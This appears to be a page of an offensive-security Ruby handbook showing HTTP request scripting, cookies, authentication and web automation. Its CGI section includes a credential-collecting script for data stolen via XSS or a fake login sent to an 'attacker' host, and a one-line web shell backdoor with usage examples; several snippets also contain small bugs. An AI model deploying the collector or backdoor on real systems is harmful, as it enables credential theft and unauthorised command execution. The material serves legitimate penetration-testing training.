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Module 0x4 | Web Kung Fu

Last updated 2 months ago
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Contents
Send Get request
Using Net::HTTP
Using Open-uri
...
Send Get request
Using Net::HTTP
#!/usr/bin/env ruby
# KING SABRI
# Usage | ruby send_get.rb [HOST] [SESSION_ID]
#
require "net/http"
​
host       = ARGV[0] || "172.16.50.139"
session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad"
​
def send_sqli(query)
​
  uri = URI.parse("https://#{host}/script/path/file.php?")
  uri.query = URI.encode_www_form({"var1"=> "val1",
                                   "var2"=> "val2",
                                   "var3"=> "val3"})
​
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS
​
  request = Net::HTTP::Get.new(uri.request_uri)
  request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"
  request["Connection"] = "keep-alive"
  request["Accept-Language"] = "en-US,en;q=0.5"
  request["Accept-Encoding"] = "gzip, deflate"
  request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
  request["PHPSESSID"] = session_id
​
  begin
    puts "Sending.. "
    response = http.request(request).body
  rescue Exception => e
    puts "[!] Failed!"
    puts e
  end
​
end
Simple Shortened URL extractor
urlextractor.rb
#!/usr/bin/env ruby
require 'net/http'
uri = ARGV[0]
loop do
  puts uri
  res = Net::HTTP.get_response URI uri
  if !res['location'].nil?
    uri = res['location']
  else
    break
  end
end
Run it
$ruby urlextractor.rb http://bit.ly/1JSs7vj
http://bit.ly/1JSs7vj
http://ow.ly/XLGfi
https://tinyurl.com/hg69vgm
http://rubyfu.net
Ok, what if I gave you this shortened url(http://short-url.link/f2a)? try the above script and tell me what's going-on
Using Open-uri
Here another way to do the same thing
#!/usr/bin/env ruby
require 'open-uri'
require 'openssl'
​
host       = ARGV[0] || "172.16.50.139"
session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad"
​
​
def send_sqli
  uri = URI.parse("https://#{host}/script/path/file.php?var1=val1&var2=val2&var3=val3")
  headers =
      {
        "User-Agent" => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0",
        "Connection" => "keep-alive",
        "Accept-Language" => "en-US,en;q=0.5",
        "Accept-Encoding" => "gzip, deflate",
        "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Cookie" => "PHPSESSID=#{session_id}"
      }
  request = open(uri, :ssl_verify_mode => OpenSSL::SSL::VERIFY_NONE, headers)
  puts "Sending.. "
  response = request.read
  puts response
end
Send HTTP Post request with custom headers
Here the post body from a file
require 'net/http'
​
uri = URI.parse "http://example.com/Pages/PostPage.aspx"
headers =
{
   'Referer' => 'http://example.com/Pages/SomePage.aspx',
   'Cookie' => 'TS9e4B=ae79efe; WSS_FullScrende=false; ASP.NET_SessionId=rxuvh3l5dam',
   'Connection' => 'keep-alive',
   'Content-Type' =>'application/x-www-form-urlencoded'
 }
post = File.read post_file   # Raw Post Body's Data
http    = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS
request = Net::HTTP::Post.new(uri.path, headers)
request.body = post
response = http.request request
puts response.code
puts response.body
More control on Post variables
Let's to take the following form as a simple post form to mimic in our script
​​
Figure 1. Simple Post form
Post form code:
<FORM METHOD=POST ACTION="http://wwwx.cs.unc.edu/~jbs/aw-wwwp/docs/resources/perl/perl-cgi/programs/cgi_stdin.cgi">
​
    <P>Name field: <INPUT TYPE="text" Name="name" SIZE=30 VALUE = "You name">
    <P>Name field: <TEXTAREA TYPE="textarea" ROWS=5 COLS=30 Name="textarea">Your comment.</TEXTAREA>
​
    <P>Your age: <INPUT TYPE="radio" NAME="radiobutton" VALUE="youngun"> younger than 21,
    <INPUT TYPE="radio" NAME="radiobutton" VALUE="middleun" CHECKED> 21 -59,
    <INPUT TYPE="radio" NAME="radiobutton" VALUE="oldun"> 60 or older
​
    <P>Things you like:
    <INPUT TYPE="checkbox" NAME="checkedbox" VALUE="pizza" CHECKED>pizza,
    <INPUT TYPE="checkbox" NAME="checkedbox" VALUE="hamburgers" CHECKED>hamburgers,
    <INPUT TYPE="checkbox" NAME="checkedbox" VALUE="spinich">spinich,
    <INPUT TYPE="checkbox" NAME="checkedbox" VALUE="mashed potatoes" CHECKED>mashed potatoes
​
    <P>What you like most:
    <SELECT NAME="selectitem">
        <OPTION>pizza<OPTION>hamburgers<OPTION SELECTED>spinich<OPTION>mashed potatoes<OPTION>other
    </SELECT>
​
    <P>Reset: <INPUT TYPE="reset" >
​
    <P>Submit: <INPUT TYPE="submit" NAME="submitbutton" VALUE="Do it!" ACTION="SEND">
</FORM>
We need to send a Post request as the form figure 1 would do with control on each value and variable.
require "net/http"
require "uri"
​
# Parsing the URL and instantiate http
uri = URI.parse("http://wwwx.cs.unc.edu/~jbs/aw-wwwp/docs/resources/perl/perl-cgi/programs/cgi_stdin.cgi")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS
​
# Instantiate HTTP Post request
request = Net::HTTP::Post.new(uri.request_uri)
​
# Headers
request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0"
request["Referer"] = "http://www.cs.unc.edu/~jbs/resources/perl/perl-cgi/programs/form1-POST.html"
request["Connection"] = "keep-alive"
request["Accept-Language"] = "en-US,en;q=0.5"
request["Accept-Encoding"] = "gzip, deflate"
request["Content-Type"] = "application/x-www-form-urlencoded"
​
# Post body
request.set_form_data({
                          "name"         => "My title is here",
                          "textarea"     => "My grate message here.",
                          "radiobutton"  => "middleun",
                          "checkedbox"   => "pizza",
                          "checkedbox"   => "hamburgers",
                          "checkedbox"   => "mashed potatoes",
                          "selectitem"   => "hamburgers",
                          "submitbutton" => "Do it!"
                      })
​
# Receive the response
response = http.request(request)
​
puts "Status code: " + response.code
puts "Response body: " + response.body
You can use body method instead of set_form_data to avoid auto-encoding for any reason
request.body = "name=My title is here&textarea=My grate message here.&radiobutton=middleun&checkedbox=pizza&checkedboxhamburgers&checkedbox=mashed potatoes&selectitem=hamburgers&submitbutton=Do it!"
Dealing with Cookies
Some times you need to deal with some actions after authentication. Ideally, it's all about cookies.
Notes:
To Read cookies you need to get set-cookie from response
To Set cookies you need to set Cookie to request
puts "[*] Logging-in"
uri1 = URI.parse("http://host/login.aspx")
uri2 = URI.parse("http://host/report.aspx")
​
Net::HTTP.start(uri1.host, uri1.port) do |http|
  http.use_ssl = true if uri1.scheme == 'https'    # Enable HTTPS support if it's HTTPS
  puts "[*] Logging in"
  p_request  = Net::HTTP::Post.new(uri1)
  p_request.set_form_data({"loginName"=>"admin", "password"=>"P@ssw0rd"})
  p_response = http.request(p_request)
  cookies    = p_response.response['set-cookie']    # Save Cookies
​
  puts "[*] Do Post-authentication actions"
  Net::HTTP::Get.new(uri2)
  g_request  = Net::HTTP::Get.new(uri2)
  g_request['Cookie'] = cookies                     # Restore Saved Cookies
  g_response = http.request(g_request)
end
HTTP authentication (Basic, Digest, NTLM)
Basic authentication
require 'net/http'
​
username = "Admin"
password = "P@ssw0rd"
uri      = URI("http://rubyfu.net/login")
​
http = http = Net::HTTP.new(uri.host, uri.port)
req  = Net::HTTP::Get.new(uri)
req.basic_auth username, password
res  = http.request(req)
​
puts res.body
Digest authentication
Install net-http-digest_auth gem
gem install net-http-digest_auth
require 'ntlm/http'
require 'net/http/digest_auth'
​
uri          = URI("http://rubyfu.net/login")
uri.user     = "Admin"
uri.password = "P@ssw0rd"
​
http = Net::HTTP.new(uri.host, uri.port)
digest_auth = Net::HTTP::DigestAuth.new
req  = Net::HTTP::Get.new(uri)
auth = digest_auth.auth_header uri, res['www-authenticate'], 'GET'
req.add_field 'Authorization', auth
res  = http.request(request)
​
puts res.body
Here is an example to build it without external gem
NTLM authentication
Install ntlm gem
gem install ruby-ntlm
Note: ntlm gem works with http, imap, smtp protocols. Read more.
require 'ntlm/http'
​
username = "Admin"
password = "P@ssw0rd"
uri      = URI("http://rubyfu.net/login")
​
http = http = Net::HTTP.new(uri.host, uri.port)
req  = Net::HTTP::Get.new(uri)
req.ntlm_auth usernamen, password
res  = http.request(request)
​
puts res.body
CGI
Get info - from XSS/HTMLi exploitation
When you exploit XSS or HTML injection you may need to receive the grepped data from exploited user to your external server. Here a simple example of CGI script take sent get request from fake login from that asks users to enter log-in with username and password then will store the data to hacked_login.txt text file and fix its permissions to assure that nobody can access that file from public.
Add the following to /etc/apache2/sites-enabled/[SITE] then restart the service
<Directory /var/www/[CGI FOLDER]>
        AddHandler cgi-script .rb
        Options +ExecCGI
</Directory>
Now, put the script in /var/www/[CGI FOLDER]. You can use it now.
#!/usr/bin/ruby
# CGI script gets user/pass | http://attacker/info.rb?user=USER&pass=PASS
require 'cgi'
require 'uri'
​
cgi  = CGI.new
cgi.header  # content type 'text/html'
user = URI.encode cgi['user']
pass = URI.encode cgi['pass']
time = Time.now.strftime("%D %T")
​
file = 'hacked_login.txt'
File.open(file, "a") do |f|
  f.puts time   # Time of receiving the get request
  f.puts "#{URI.decode user}:#{URI.decode pass}"    # The data
  f.puts cgi.remote_addr    # Remote user IP
  f.puts cgi.referer    # The vulnerable site URL
  f.puts "---------------------------"
end
File.chmod(0200, file)  # To prevent public access to the log file
​
puts ""
Web Shell - command execution via GET
if you have a server that supports ruby CGI, you can use the following as backdoor
#!/usr/bin/env ruby
require 'cgi'
cgi = CGI.new
puts cgi.header
system(cgi['cmd'])
Now you can simply use a web browser, Netcat or WebShellConsole to execute your commands. ex. Browser
http://host/cgi/shell.rb?cmd=ls -la
Netcat
echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc host 80
WebShellConsole (repository)
run wsc
ruby wsc.rb
Add Shell URL
Shell -> set http://host/cgi/shell.rb?cmd=
Now prompt your commands
Shell -> ls -la
Mechanize
Since we're talking about dealing with web in ruby, we can't forget Mechanize gem, the most known library for dealing wit web.
The Official description says, the Mechanize library is used for automating interaction with websites. Mechanize automatically stores and sends cookies, follows redirects, and can follow links and submit forms. Form fields can be populated and submitted. Mechanize also keeps track of the sites that you have visited as a history.
More about Mechanize gem
​Getting Started With Mechanize​
​Mechanize examples​
​RailsCasts | Mechanize tutorial​
Since you know the hard way, you'll find Mechanize as simple as mouse clicks! give it a try!
HTTP.rb
HTTP (The Gem! a.k.a. http.rb) is an easy-to-use client library for making requests from Ruby. It uses a simple method chaining system for building requests, similar to Python's Requests.
Under the hood, http.rb uses http_parser.rb, a fast HTTP parsing native extension based on the Node.js parser and a Java port thereof. This library isn't just yet another wrapper around Net::HTTP. It implements the HTTP protocol natively and outsources the parsing to native extensions.
More about http.rb gem
​The Official repository​
​The official wiki​
​CGI Examples​
MiTM Attack
SQL Injection Scanner
Contents
Send Get request
Using Net::HTTP
Using Open-uri
Send HTTP Post request with custom headers
More control on Post variables
Dealing with Cookies
HTTP authentication (Basic, Digest, NTLM)
Basic authentication
Digest authentication
NTLM authentication
CGI
Get info - from XSS/HTMLi exploitation
Web Shell - command execution via GET
Mechanize
HTTP.rb